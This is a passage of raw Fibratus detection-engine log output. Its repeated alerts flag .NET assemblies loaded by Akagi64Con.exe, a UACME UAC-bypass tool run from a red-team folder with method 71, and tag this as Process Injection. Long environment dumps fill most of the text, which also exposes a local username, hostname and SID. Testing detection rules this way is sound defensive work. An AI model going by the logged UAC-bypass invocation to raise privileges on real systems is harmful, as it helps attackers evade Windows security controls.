WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\VBCSCompiler\44d3855d27b7cb2a7618c9bf844ca0b3\VBCSCompiler.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022655 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.9190769 +0100 CET + Params: base_address➜ 7ffcbbca0000, checksum➜ 0, default_address➜ 7ffcbbca0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\VBCSCompiler\44d3855d27b7cb2a7618c9bf844ca0b3\VBCSCompiler.ni.exe, image_size➜ 925696, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\VBCSCompiler\44d3855d27b7cb2a7618c9bf844ca0b3\VBCSCompiler.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022655 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.9190769 +0100 CET + Params: base_address➜ 7ffcbbca0000, checksum➜ 0, default_address➜ 7ffcbbca0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\VBCSCompiler\44d3855d27b7cb2a7618c9bf844ca0b3\VBCSCompiler.ni.exe, image_size➜ 925696, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, technique.id: T1055, technique.name: Process Injection, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\vmconnect\109ce38782caeb1d0c35e34b5d60e591\vmconnect.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022686 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.9253745 +0100 CET + Params: base_address➜ 7ffcbbb50000, checksum➜ 0, default_address➜ 7ffcbbb50000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\vmconnect\109ce38782caeb1d0c35e34b5d60e591\vmconnect.ni.exe, image_size➜ 2355200, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 9665569474375319552 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual 